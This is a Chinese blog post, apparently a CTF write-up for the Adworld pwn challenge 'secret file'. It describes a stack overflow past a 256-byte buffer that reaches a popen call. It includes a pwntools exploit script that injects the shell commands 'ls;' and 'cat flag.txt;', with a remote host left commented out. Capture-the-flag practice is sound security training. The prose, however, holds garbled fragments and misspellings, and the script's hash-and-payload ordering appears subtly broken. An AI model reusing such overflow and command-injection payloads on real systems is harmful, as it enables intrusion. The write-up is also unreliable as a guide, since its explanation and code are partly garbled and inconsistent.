攻防世界pwn题 -- secret file 题解
发布日期:2021-05-15 04:19:03 浏览次数:21 分类:精选文章

本文共 1189 字,大约阅读时间需要 3 分钟。

栈溢出分析与利用

肯透世界的Pwn题

最近遇到了一个栈溢出的Pwn题,感觉有点挑战性,但还是想仔细分析一下。下面是我的解题过程和思路。


一、线索寻找

// 核心变量int v8 = 0;int v5 = 0;int v15 = 0;int v17 = 0;// 其他相关变量int v4, v6, v7, v14;char dest[256];char lineptr[1024];

从变量名和类型来看,dest数组的大小是256,这是一个明显的提示。v8是控制程序是否输出“wrong password!”的条件变量。当v8不为0时,程序就会打印错误信息并退出。


二、程序执行流程

程序的主要流程是:

  • 从标准输入读取字符串。
  • 将读取的字符串与内部的一个固定的字符串比较。
  • 如果比较成功(即字符串相等),则执行特定的shell命令。
  • 最终解密并释放flag。
  • 关键在于比较的字符串部分,发现这里有一个栈溢出点。


    三、攻击思路

  • 确定目标: 找到需要比较的字符串存储位置,覆盖它。

  • 构造字符串: 生成一个能够覆盖目标字符串的结构,包括终止符和必要的null终止。

  • 计算Hash Value: 利用sha256函数对自己构造的字符串进行加密,然后与程序内部的一个固定的字符串对比。

  • 运行测试: 验证构造的字符串是否达到了预期效果。


  • 四、静态分析

  • 变量定义: main函数定义了一系列变量,其中dest和lineptr是关键。

  • 关键函数: sub_E60sub_DD0

    • sub_E60 处理的是dest字符串。
    • sub_DD0 则负责将dest字符串加密。
  • Popen函数: 通过popen执行shell命令,这一点很关键。


  • 五、构造字符串脚本

    from pwn import *import hashlibp = process("./secret_file")# 远程连接(可根据实际情况调整)# p = remote("220.249.52.134", 50897)payload = cyclic(0x100)  # 内存覆盖基元iaopayload += b"ls;"# 调整为 Marl发现的长度hash_code = hashlib.sha256(payload).hexdigest()payload += hash_code.encode("ISO-8859-1")payload += b"cat flag.txt;"p.sendline(payload)p.interactive()

    六、注意事项

    • 栈溢出点: dest 的长度一定要正确,避免错误终止。
    • Hash计算: 确保生成的哈希值与程序内部匹配。
    • 终止符: 避免添加不必要的字符,确保字符串正确。

    如果有错误或疑问,可以通过调试工具(如GDB)进一步分析程序的运行流程。希望我的思路能对你有帮助!

    上一篇:Lctf-2016-pwn100 题解
    下一篇:ctf - pwn题之alarm函数

    发表评论

    最新留言

    逛到本站,mark一下
    [***.202.152.39]2025年05月26日 03时00分56秒